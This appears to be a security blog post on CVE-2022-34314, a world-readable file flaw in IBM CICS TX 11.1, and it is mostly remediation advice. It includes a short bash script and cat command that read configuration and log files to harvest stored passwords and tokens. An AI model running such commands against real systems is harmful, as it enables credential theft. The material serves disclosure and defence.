Published: June 2024

Introduction

In June 2022, a security vulnerability called CVE-2022-34314 was identified in IBM CICS TX 11.1. This vulnerability allows a local user to access sensitive files because of weak permission settings. The problem was tracked by IBM X-Force ID: 229450.

In this article, we’ll break down what the CVE-2022-34314 issue is, see how it can be exploited, and provide advice with clear code snippets and direct links to official resources for patching your systems.

What is IBM CICS TX?

IBM CICS TX is a powerful transaction server often used by large companies for running critical business applications. Version 11.1 brought new features, but also introduced a risk: some installed files were given permissions that were too open.

Product: IBM CICS TX 11.1

- CVE ID: CVE-2022-34314
- X-Force ID: 229450

How Does The Vulnerability Happen?

IBM CICS TX 11.1 may install certain files (like configuration or log files) with permissions that let any local user read or possibly modify them. When a non-privileged local user can see configuration files, it could reveal passwords, API keys, or other secrets.

For example, let’s imagine the CICS TX installation creates a config file

-rw-r--r-- 1 root root  2346 Jun 15 14:22 /opt/cics/config/cics.conf

This means everyone can read /opt/cics/config/cics.conf, not just the owner (root).

Exploiting the Vulnerability

A local attacker only needs a standard shell account. They don’t need administrator rights. They can list, read, or copy files if they have general “read” access.

Example Exploit Code

Let’s say the sensitive file is /opt/cics/config/cics.conf.

A local user can simply do

cat /opt/cics/config/cics.conf

If the permissions are incorrect, all users can see the contents, which might look like

# CICS Configuration
db_password=SuperSecret123!
api_token=a3b2c1...

Attackers can script this further

#!/bin/bash
files="/opt/cics/config/cics.conf /opt/cics/logs/cics.log"

for f in $files; do
  if [ -r "$f" ]; then
    echo "[+] $f is world-readable:"
    cat "$f"
    echo ""
  else
    echo "[-] $f not world-readable."
  fi
done

Result:
If any file contains sensitive info and permissions are broad, the attacker can steal secrets.

System secrets

With this info, an attacker could escalate their privileges or move laterally within the company network.

1. Update CICS TX

Check IBM’s official fix for CVE-2022-34314:  
- IBM Security Bulletin for CVE-2022-34314

Apply the latest upgrade or patch from IBM Fix Central.

If you can’t patch right away, do a manual review

find /opt/cics/ -type f \( -perm -o+r -o+w \) -exec ls -l {} \;

This command finds all files in /opt/cics/ that any user can read or write.

Secure them

chmod o-rw /opt/cics/config/*
chmod o-rw /opt/cics/logs/*

Check your system documentation for exact directories.

Set up auditing to track when non-root users try to read sensitive files

auditctl -w /opt/cics/config/ -p r -k cics_conf_read

This will log all read accesses to the config folder under the keyword cics_conf_read.

References

- CVE Details: CVE-2022-34314
- IBM X-Force Database: X-Force ID: 229450
- IBM Bulletin: Security vulnerability in IBM CICS TX 11.1 (CVE-2022-34314)
- IBM Product Page for CICS TX

Conclusion

CVE-2022-34314 is a classic but serious case of insecure default permissions. Don’t leave your most sensitive data one cat command away for regular users. Patch IBM CICS TX 11.1, audit your systems, and set strict permissions to keep your secrets safe.

Stay Secure!

*If you found this guide helpful, please share it with your security or system admin teammates.*

Timeline

Published on: 11/14/2022 19:15:00 UTC
Last modified on: 11/16/2022 20:17:00 UTC